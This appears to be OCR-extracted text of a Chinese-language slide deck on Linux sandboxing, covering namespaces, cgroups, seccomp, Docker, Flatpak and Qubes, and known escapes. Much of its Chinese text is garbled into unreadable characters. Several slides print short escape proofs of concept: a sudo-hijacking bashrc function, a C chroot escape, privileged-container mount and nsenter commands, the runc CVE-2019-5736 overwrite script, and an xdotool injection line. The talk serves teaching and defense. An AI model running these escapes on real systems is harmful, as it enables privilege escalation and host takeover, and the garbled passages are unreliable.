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o INSEFD A X TR AR
« BEFEIRIK P E RS
- EXRAPAEAIE FTIK

2 /MM 1AEE -
- TIIKENFEFF

FHCEBOOK GI"IHIL

My LAPTOP

IF SOMEONE. STEALS MY LAPTOP WHILE I'M
LOGGED IN, THEY CAN READ MY EMAIL, TRKE MY
MONEY, AND |MPERSONATE. ME TO MY FREENDS,

BUT AT LEAST THEY CANT INSTALL
DRIVERS WITHOUT MY PERMISSION.
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« 2277 sudo (B(FE doas/systemd-run0) REE
 E{RE) bashrc Em | %ﬁﬂdyﬁﬁ

function sudo {

/usr/bin/sudo -- bash -c "$*; id"; * Shell 5[] A # A FAEPITHIFEFF
} + GRIIAE (FRBOA) WER) Windows UAC 23
CEZ
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CVE-2025-32462 (CVSS 184y : 2.8)
 INR sudoers MHHPFEE R ENEA LT EVMAE ALL , FIH KA PRI R AR
VRS B ITEH 4

CVE-2025-32463 (CVSS 1845 : 9.3

« IR PR F|A --chroot WEIRAT NELA]I5 B SKANZEK /etc/nsswitch.conf ST, MATMFRER
root AR

AOSC PLR AR AIThR B HEE A R EEHT.
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BIF : ZIERBEHIAIR
FEIDFENAR S suid F2AX.

bwrap --bind / / --share-net --unshare-all sudo

# sudo HR-DAR, ToiEfS3N
sudo: The "no new privileges" flag is set, which prevents sudo from running as root.

sudo: If sudo is running in a container, you may need to adjust the container configuration to
disable the flag.
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NAZEAHR N

- HXAGVEE
ZS ]
« =HI2H cgroup
« ZRGUARAEIE (Seccomp-bpf)
« SRR
. [N#% CAP

BRIV :

o OO0

* BEY
> Docker, Podman
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> Flatpak, Snap
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fin % Z=[8] (Namespace)

fn 4 =S8 A FH R
J5=H%l)2H (Cgroup) Cgroup TR {4 cgroup_namespaces(7)

BHAZ[EIEW, (IPC)

SysV IPC. POSIX JH,2[\%

ipc_namespaces(7)

Mz&  (Network)

fRE MR , BIEMRAE.

HO%

network_namespaces(7)

FEE (Mount) HFRR (XHARS) mount_namespaces(7)
HFE9w= (PID) HFZ ID pid_namespaces(7)

A<t |&] AR5 time_namespaces(7)
=== A FFIR LA/ ID user_namespaces(7)
UTS EH.4F NIS 154 uts_namespaces(7)
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4 8] (Namespace)

% :IPC, M Z=TIE] (HMREET /[t inlr) . HEEar & (B8 Unix B
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2.2 %%l2H (Cgroup)

=HIZE |, IBEFRA cgroups(7) , & Linux RIZE—ITNEE , AAVFRAFFEELA R E R
28, MR USRS SIS £ Fr AR ERAE A . RIZH cgroup #O BT —1 4
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PR R E—HIR TR XD F ARG FSILA (21RTF. CPU %),
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2.2 %%l2H (Cgroup)

ey BIEAEFSKEE cgroup MRIRHIBRBIFNERER. (systemd 2 XAFIRERAR S R IR
& FRY)
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2.3 ZZ0ABEE (Seccomp-bpf)

seccomp-bpf (seccomp(2)) s& — ¥ Berkeley #iEBITIE2s (BPF) FEFKITIRASAR
AL,

IME SEESEIE BERRATEREH , —BER , IR HF exit() , sigreturn() ,
read )N write() XPUFFRZEAR. FTILLBRIARD.
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2.3 ZZ0ABEE (Seccomp-bpf)

— RSk, |, Linux NAZHR K204 300 2l 400 NARGER., XERSARRE 73U
5. HREEE, NEFEHE. NXEFEFZIAE. HFRNRSHERNEZESREX
ERBFLASARESESR ML USSR EN BRIER". Al , Z5AH
AOUAR—REDER & .
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2.4 s3I sa4ES] (MAC)

SELinux #1 AppArmor 72 Linux 3253 [a)= 6 P FFScIL,

Podman 8 SELinux , Docker FH AppArmor, XLESRAEa] AT B 2SNKH gt TH—%
HIBR® |, 3EnaR et , RARMBIIHANZIDFERNINEBES .
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* YBREANR : Capabilities BT E AL NMRLHBES] , B TEENARRGTH—
MFEBIR. B0 , FZANHFEA] IR T MR aRe S |, BARE AV EZ IR R

5t

- M BIT{FE A capabilities , REEEIER AT PUB D HFEHEEAN , IWTFR(KIE1ER
TN, Fa0 , FLRE AT IERETE root BRMIFIN TIEIT , IWmEZ K
HEIR .
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= WLAEEN :

* CAP_NET_ADMIN : SRVFIFHA TR BEIRHR1E.

* CAP_SYS_ADMIN : FR{H 2 AL EIEAR.
* CAP_NET_BIND SERVICE : ZBE{KiimH .

* CAP_CHOWN : SRV NI T B Z LA,
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FRPF O 0 XFR AR FE AN _E 2 4 !
Hastt o ABATIFNZ FASAHRIFRI,

Docker (Podman)., LXC (incus. LXD) ZHHEXERIK.
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Architecture In Linux

Docker Client Docker Compose Doc?ker Docker Swarm
Registry

REST Interface

Docker Engine

——w 2l y >

[X]3& : Microsoft

containerd + runc

Layer Capabilities
Control Groups Namespaces Union Filesystems AUFS, Other OS
caroups Pid, net, ipc, mnt, uts btrfs, vfs, zfs*, Functionality
DeviceMapper

Operating System
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Docker J3h runc , BCELFXII/E] rootfs #1 OCI BCE X4 , runc RIEXMIAHREFE
dx. runc £ Linux RAZIZ B FINEERBCEMMER.
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3.2 RENARK

N B4y : Snap. Flatpak

o Linux ZEAESHK—ED

c BARITHRAANE , REKBT I A s ME
> DEHEANRARBEMLAXHARS (SEERITHERSE)
> BAME : Applmage IANE] , 4k¥iT FUSE A0 LibC

« NMEEXREMREHZ 2N FIAURECE
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3.2 RENARK

Flatpak
2y ae3

[&]J& : Collabora

Bundled Bundled
Library Library

J

Background
Service

t
S;'S?:Zm [ Portals H D-Bus [PipeWire Wayland]
| — = "7
Sandbox Sandbox
( Application Application )

[

Bundled Bundled
Library Library

Background
Service

Runtime

Common Common Common
Library Library Library

= ]
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YDFSER{E - Bubblewrap , Firejail

* Bubblewrap (bwrap)
?gé& /I\
> BEEIF SUID S
> Flatpak B)¥>58SIl
* Firejail
> JG—FH /|\
> ﬂ?ﬁ)‘(\TT\HE\LFHE@EEEY#F
> XHF Applmage
> SUID
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3.4 v FBFEFNE

FEFFINE - N¥ELSP4E. SystemD (XFR AOSC J#%) ARSSINEL.

o« NUEEE
> ¥ namespace 5 seccomp-bpf I3EFHFEREE
« SystemD

> systemd-analyze security unit_name T ENRFHERRRE
> {8 F NoNewPrivileges 13T A] IAFE A ZNWTNRERIIE UL N INEFEFF
— Peamxik 32 2#) sudo
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4.1 Firefox

Pwn20wn Berlin ZT& K& LN T B Firefox JmiA :

+ CVE-2025-4918
> fiEAT Promise X5 BN 72 7E i A ) iR
+ CVE-2025-4919
> (LMK AN AR AR AT R R IR
» Firefox 7=HR : “XMc BB RBERBE RTINS E
> R Firefox #HFEZ [BIFEMR B TREIEE (7 Windows tHBEZLEMHIIREE )
> NYERFZEMAF NI RN, , FHIE BTN s EtFE sk ik
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4.2 RIS : TEIEIRIRE KRR T

HNGNENSENE AP R X1

- NE MY 25 5T Chromium
« Chromium & RCE (CVE-2021-21220)

> L T XN RIARNFIA (5 Firefox Z5))
* LEAHEF --no-sandbox %6

> 3 RCE iR v A% KA1 A
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4.3 Free Download Manager

. PRRER
> {§ F§ DPKG ¥R A& deb £
» HIRF 23R , WEHEE L EERR deb £
> FIF postinst BIA T HoE B4

* Flatpak hRZA&fi#4A deb £
> SERTE
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ISR R TR E R AR RASET IR , AN—PRRMR (PF8) KSR
B, BRIFXT EN RGN BUR T IRATIRIAUR .

IDFRRAR T —RMERRN. BMERF RN, AR MR AURR , HEEE
XTOFEMIR A S MR, TPk E NA—E SHRER root AXR.
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5.2 At AHEA ?

» THREZEUH!
> B IRIBE N A FRR
« JRN
> B Z X
> IXBHENRENINERESITTMEERNTEF
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5.3 % MR RIKIE

- FARAE
» BERHRE LXBIDRM
- BB
> B I
> BVEYR ¢ (AL TR A2 (6]
* NiZiwiA
* BITHY WA
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6.1 FAEVP%E : chroot kiR

chroot ;2 Linux R—NMARGOAR , AT UVI#IEE R, |R%RE AFRLZ A “chroot jail” , {Bfth

FHARRIDA,
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6.1 FAEV 58

- chroot k&

chroot NYAHFEK T /EB R , Ee] AR AHX—
=, 7E chroot FMEFE " )& chroot , {§ T EHFAL
T chroot 24, SRfEwalRIH LK E %,

POC : Z£—" chroot G IEH A M4LhY,

, 1IBAT

#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>

int main(void)
{
mkdir("chroot-dir", 0755);
chroot("chroot-dir");
for(int i = @; i < 1000; i++) {
chdir("..");

}
chroot(".");
system("/bin/bash");
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6.1 H3IEVP4S : chroot ik

chroot FFIRBHRERNMES (XK , /2 TETAERE) , FILAE IR chroot [FR]LE

Be1E _EZR B % chdir,

— MR A 252 1F B pivot_root TMAE chroot, pivot_root HIYEF EICIR X RS HIFER =

MA—ANCHRZI , Tz TSRS RS , X, B2 T RNIEE
BN RGRIER R, Rk,

BT chroot NI root /KA E root , FABERIEfALEREE . chroot NE root 2 EHI1E
B root , B —Y) root VB HIFE.
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6.2 itEimiA : F5AA S

--privileged ARG A A et LA T RE

« JBAFTA Linux N1ZEES] (CAP)
« Z2HEAR seccomp BLE X
« Z2FHEGAR AppArmor BLE 4
« 22 SELinux FHFEHRE

« RFXT TR N E HIARIAR
+ fE /sys A[iXE

- {& cgroups FEEFF[EE

BAAR , Bas /LA ABUTENREBPITHATEHRE. X MINENGFERAT
IRERZR | BIIIRER .
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6.2 icBERIFE : 45N E 25

FAVRR T REBAUR. RPN ETIBETE o —oriviteqed \
HIBEN. --rm --pid=host -ti fedora

POC : A1 nsenter --target 1 --mount sh

50 / 99



6.2 Bt BRI : FFAAZS

XENWAT --pid=host KAREXEHHFEM) PID , A nsenter £ , {BXFHIEIEAETI

=i (M
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6.2 BeE IR : H5ANA 25

(&7 Vs 2 T8 , MBEHERNHARGHIEEN.
POC : WA

docker run --privileged \
--rm -t1 fedora

mkdir -p /mnt/hola

mount /dev/sdal /mnt/hola

# FE(EIE MO

52 /99



6.2 BCEIRMIF : F5AA 28

SPR_E , FREIRBXT /dev/sdal BIVARIASRE , 5N A 25T L mknod F—M T ik,
(chroot 2 ZE{]L)
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6.3 BECE i : RGAH

GERASARSESEARE N AR InR 2.
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6.3 BECE i : RGAH

bban CVE-2016-2781, FEAFIF root AERHIEIN T , chroot AR INAIHFZ AT DA{E A
ioctl 1B PR IRE NFH , SE MR,
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6.3 L& ImiF : ZR5AM

_ finclude <asm/termbits.h> /* Definition of
' k1 2R i |
joctl ﬁ]L%ﬁﬂﬁiﬂu)\ﬂTﬁJ TIOCSTI */
1£ 6.2 W*ZZE%% CAP_SYS_ADMIN A Ak #include <sys/ioctl.h>
]

int ioctl(int fd, TIOCSTI, const char *argp);

56 / 99



6.3 BECE i : RGAH

Docker f] seccomp HIEZRZEEATTER , MAARKAJgELE .
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6.4 =17HT )RR : Docker runc i

CVE-2019-5736 : ¥4 runc — B4 ==,
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6.4 1z1TH IR : Docker runc JjA

F—  MELES®R , § runc PUTES.
Dockerfile j% :

# RS ER
RUN set -e -x ;\ #!/proc/self/exe

In -s /proc/self/exe /entrypoint # = &{FE A hashbang
ENTRYPOINT [ "/entrypoint" ]

hashbang 7% :
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6.4 1={THIRmIA : Docker runc JiF

1k runc PUTEHCO KRR

runc X B 7 XTI H] non-dumpable Frt , HFERFICIRIBIT /proc/$PID/exe fi#S| B |, %%
BT 5 B3R 1T,

B2 runc {§ 8 execve ZRGUARRPITA 258 entrypoint B, iXANRHIASXT 4 HFITH
FFEAER , FTRALE runc $TE G RIKEN ] B IS IR ST .
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6.4 =17HT )RR : Docker runc i

R R A 25 NS IR T
{& FAZIYMNL docker exec €4AE1THIZAS

#!/bin/bash

¥ RZEPITTBCHK runc

runc_pid=$(ps axf | grep /proc/self/exe | grep -v grep | awk '{print $1}")
while [ -z "$runc_pid" ]

do

AN

LI

runc_pid=$(ps axf | grep /proc/self/exe | grep -v grep | awk '{print $1}")
done
# {F RERSMNKFE PR AR runc I SCHEIR 75
# A bash EFKE AT ERHRR T

./overwrite_runc /proc/${runc_pid}/exe
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6.5 1=1THRIE : Flatpak

CVE-2024-42472 : F|AHFX .Bxikk Flatpak,

WY FFEFF{E F —persist=subdir A RES , B AfEIREGRIESSBFFEE KRBT ,
BIE—NIERFBR , XXTABLERNIEHIERIFZLE XDG drAER K TN A2 i
B HIR
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6.5 1=1THRIE : Flatpak

Wi o] LB R HFR B RIRE SR B AT sS4 | SRS =X Ha0vaa), 4l
a0, WEEZE LK /.var/app/org.mozilla.Thunderbird/.thunderbird B sg&#t AF5F]
/.ssh =558, TR BREFE , S HESK IR S8R , ANMENBREF
BEMB VI AN N BRI, XF AT T HIER TR 2 .
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6.6 N#ZJwJ[ : Dirty COW

Dirty COW ZEFFEmF &M T , AFEFENESXL .
TR, XAZAE , %5 suid WATPITIXHE ABIATHEA , (B2 &5k 2
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6.6 N#ZJwJ[ : Dirty COW

B BB AR ZRNRIR : vDSO !

vDSO (EBIMEhERZENR) B—NUKZE | NksBaHIREZITE R A=A
N FRFE AR S [E) , TR —LEARArAR M B AR Se A T & rOALH) . B8

vDSO th 2 —4 5T

B 77K PoC BT
shell,

B ELF XXHF | 4877 BATB M =IE],
T clock_gettime() XA FIRREN , FEFAUHFEPITIX R EAT [ 5t
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7 2ZEYEE : Xorg ik

Xorg & Linux MB/RARS25. BT Xorg TENV A Z BN AR S , AR — N EDFERM
FERF O] PUERRRIDFESMA Xorg ARSE-25 , ABAMFEE/EIDFRINB AR, PUTH S, &
E Ao R,
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7 2ZEYEE : Xorg ik

i AR ESE B e Rin 2 [e M it N7 15
(ﬂﬁi’tﬂ%ﬁ%;‘iﬁffﬁﬁﬂ’ﬁ [EmANE])
xdotool key ctrl+shift+t # XFCE

XEEf] xdotool  (X-do-tool) FB—HBILTA , 3 xdotool type ; xdotool key Return
B ABITmE ARG 1[R]) Xorg IERET . Xlib Bk
% XCB #B2E A Xorg & FumfE.
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8 EH4FE : Xorg “YEZ AR

Flatpak B --nosocket=x11 FREER IEfR =

Xorg , KAL) Xorg &SR ERE
¥, MR Unix ERFTEEMEGZT
T BEEfRE.

8]

flatpak run --nosocket=x11 --share=network \

--command=bash \
org.freedesktop.Platform//24.08 \
-c "DISPLAY=:0 zenity --info"

t BRHE
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6.8 A4 : Xorg “HEZ REK

Wayland I FI{&kSKR“&Z L
« XWayland ~£&:[a] Wayland N FRiF \I&4E.
- HtsmMIEHALLE XWayland Ui B,
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SPJINZA

BeA 1
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ibFaML ?




7. Al o BRI FEN ?

B ARER !

- WREALHBE
- KINELT MR T AREANECE
- FRATBRENFHRRIR
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8.1 iM%

BaNZAES B -
« ZT namespace H)DFE ] BETTIE SR
o FE{HIXEND, AT BETH SR B
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8.1 ML 48

Linux N4#Z WLAN ef2 A5 TR

« CVE-2022-41674 :
AR AP IT , CVSSV3 7.3 5§
AL IT , CVSSV3 7.3 5§

* CVE-2022-42719

* CVE-2022-42720 :

TFEESH 4T , CVSSV3 7.3 5
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8.1 ML 48

QubesOS:

FB Xen EEFARN.
b5 & NAZ A =
BAEARSE

[&J& : QubesOS

System management

1"edorc|ﬁ

GuivVM

Display manager
£

fedora )

|||||||||||||||||||||||||||||||

sys-ush VM ]

TemplateVMs
fedord? G
WHONIX gepign "’

\ I )
AppVM 1

Nal=@ @

Safe and
ultimately trusted

USB stacks
fe dorc:ﬂ

syssnetvM | |

Networking stack

fedora?

( sys-firewall VM w

Operating
User Applications System
[ AppvM 2 | AppVM 3
Disposable
Vauit Vi VI
JTIT T PT T T,
1 1 | 1
1 ! I I
[} : ! I @ I
— - ' L} — e oot
fedord® whonix
— - J

teveisofrust L1 | [ |

Unsafe and
unirusted

Firewall rules

fedora®

[ sys-whonix VM ]

Tor

whenix
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8.1 ML 48

Qubes 0S FBET Xen KEIAWTIAN , VFSIEFEIEFRA qubes HIfRSX,

XL qubes AT ER—MAMBEKEUIL (VM) S4BT ABCE AR RN A |
1 IENE: k7

=N
- Bb—RRENIEREREE R
* =17 Linux N B * F Xen fEAEBHMILEZS (Hypervisor)
« SRmERER « ERNTNRERRD (eg. BEFREHE., K/IMZAE)

- B TR
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8.1 AN %8

FEEA B & N = E BRI RS 25—ABFE Kata Containers, Kata container 1§ F K244
Rz 1TEN B BRRNZRRS R & A, FRtIESIRAER S SES,

77 /99



8.1 iM%

containers Traditional Containers

Virtual Machine Virtual Machine Virtual Machine Process A DCes! Process C

+ Seccomp = Seccomp » Seccomp

1 * MAC - MAC - MAC
Kata CO n atl n e r Namespaces Namespaces Namespaces . CAPS . CAPS . CAPS
7 0o —————— —— —
— X\ Linux Kernel A Linux Kernel B Linux Kernel C
— ﬁ HE Namespaces Namespaces Namespaces

\ . Hardware Hardware Hardware &
@ 7)/?\ - Kata CO n atl n e r Virtualization Virtualization Virtualization Linux Kernel
0 0 100

CPU Memory Network Storage

Additional isolation with a lightweight VM

d individual k |
and individuat kernets Isolation by namespaces, cgroups with shared kernel
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8.2 Rootless &2%

HIE runc JRIARFIB L |, 39 RREEEIBH Docker 251 root S4MEIH root &

[l — A /. Docker socket gEieAX , 12Xk Docker A root B PHIFMZ1T.
FMBRRAIERHACE , FEFRNENA S TR AR MR, BB HziTHASH,
RERPRIE ?
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8.2 Rootless &2%

TARA 2R B TR A FREB A . BITUR BB SNEEN ., XANAREEREFEAT A
SRR P EMEITNS R ERNZ T LA,

XERIFRA AR B EMEENIRNA /|, SE R S A EE AEENA A
(BAEREW, , N TUEAESKIRIT B ZAUREE TR IR AL, BRI ).

80 / 99



8.2 Rootless &35

Mo TR
o AJ AR 1 IR ) XU A 2 e
T BRTHFNAEIE © RFLBAL AT
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gVisor FEIZ1THIN AR SENIRIER ST
ZIER Mt T KK RSE. EE2—13RI
2 Linux #O M BN#Z.

5 linux AE , ERA—FRAGFEREHE
5 (Go) WEM , FEAFTEFIZIT.

Application

System calls

gVisor

Limited system calls

Host Kernel

Hardware

S
ae®
R

\\ﬁﬁaﬁéﬁ
Ve
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